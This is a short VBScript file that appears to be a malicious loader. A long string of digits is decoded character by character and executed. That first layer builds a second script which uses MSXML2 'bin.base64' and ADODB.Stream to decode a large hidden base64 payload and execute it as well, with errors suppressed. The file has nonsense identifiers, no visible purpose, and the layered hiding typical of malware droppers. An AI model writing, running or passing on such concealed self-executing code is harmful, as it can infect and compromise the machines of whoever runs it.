' bjdojdk
Option Explicit
Dim kjz:kjz="03903211809810610011010011001007911211610511111003" & "20691201121081050991051160100791100320691141141111" & "14032082101115117109101032078101120116010010068105" & "10903209911212011610909911409801009911212011610909" & "91140980320610320340850500860480730700860660811210" & "65057073069078121090087070048090085057105097109086" & "10610006710310508505010410809807111911708108806611" & "90980711081060890880821120980500521050750811120860" & "81085077117085050104108098071120070101071086106100" & "08808210807306707411909805110010809911007811109008" & "71201150731051191030731050490680980500491160890870" & "53107073067073105074105066055098087116107097088073" & "10308112211209908607108611609906706511608210905712" & "10890500851030771060521070981100861150980681151030" & "89051086121098067053108101071085103076085119103076" & "08304912209905011911609810905611609910908605009805" & "01161080730671001111000720821190991221111180760510" & "77116077122100112100087082111097110078053089109111" & "11709912207711710008807711609008707012210006704812" & "10761090701160890881121180981090700510991210531060" & "98050048118089109108115098072107117098088078112074" & "12106511609812106606807910812008509008704911908807" & "20661041000710781110761090491220970841151030980880" & "78112090088104108089121053108101071085103076050107" & "10307404807705408807008210809808806609909907107004" & "80890501031170980880781120741210651180990870521030" & "76050053118099109086122100071070121100072048105073" & "10507311507306707310507606706510509911008611708908" & "80771050760670651190340100100691201010991171161010" & "71108111098097108032121102106109120107107110040099" & "11212011610909911409804101001007011711009911610511" & "11100321211021061091201071071100401150410100320320" & "32032068105109032103116101107108119119097044032102" & "12012010211812209912101003203203203208310111603210" & "31161011071081191190970320610320671141010971161010" & "79098106101099116040034077083088077076050046068079" & "07706811109911710910111011604605404604803404101003" & "20320320320831011160321021201201021181220991210320" & "61032103116101107108119119097046099114101097116101" & "06910810110910111011604003411610911203404101003203" & "20320321021201201021181220991210460680971160970841" & "21112101032061032034098105110046098097115101054052" & "03401003203203203210212012010211812209912104611610" & "11201160320610321150100320320320321211021061091201" & "07107110032061032120119104098102109097112040102120" & "12010211812209912104611011110010108412111210110008" & "60971081171010410100691101000320701171100991161051" & "11110010010070117110099116105111110032120119104098" & "10210909711204009812111610111504101003203203203206" & "81051090321211190971121141190971130440321000971160" & "97010032032032032073102032086097114084121112101040" & "09812111610111504103206103204803208410410111001003" & "20320320320320320320321201191040981021090971120320" & "61032034034010032032032032032032032032069120105116" & "03207011711009911610511111001003203203203206911010" & "00320731020100320320320320100320320320320831011160" & "32121119097112114119097113032061032067114101097116" & "10107909810610109911604003406506807906806604608311" & "61141010971090340410100320320320321211190971121141" & "19097113046084121112101032061032049010032032032032" & "12111909711211411909711304607911210111001003203203" & "20321211190971121141190971130460871141051161010320" & "98121116101115010032032032032121119097112114119097" & "11304608011111510511610511111003206103204801003203" & "20320321211190971121141190971130460841211121010320" & "61032050010032032032032121119097112114119097113046" & "06710409711411510111603206103203408508407004505603" & "40100320320320321201191040981021090971120320610321" & "21119097112114119097113046082101097100084101120116" & "01003203203203212111909711211411909711304606710811" & "11151010100320320320320831011160321211190971121141" & "19097113032061032078111116104105110103010069110100" & "03207011711009911610511111001001003903206710810109" & "71100321171120100991121201161090991140980320610320" & "34034"
Dim kjt:kjt=""
Dim kj1
For kj1=1 To Len(kjz) Step 3
 kjt=kjt&ChrW(CLng(Mid(kjz,kj1,3)))
Next
Execute kjt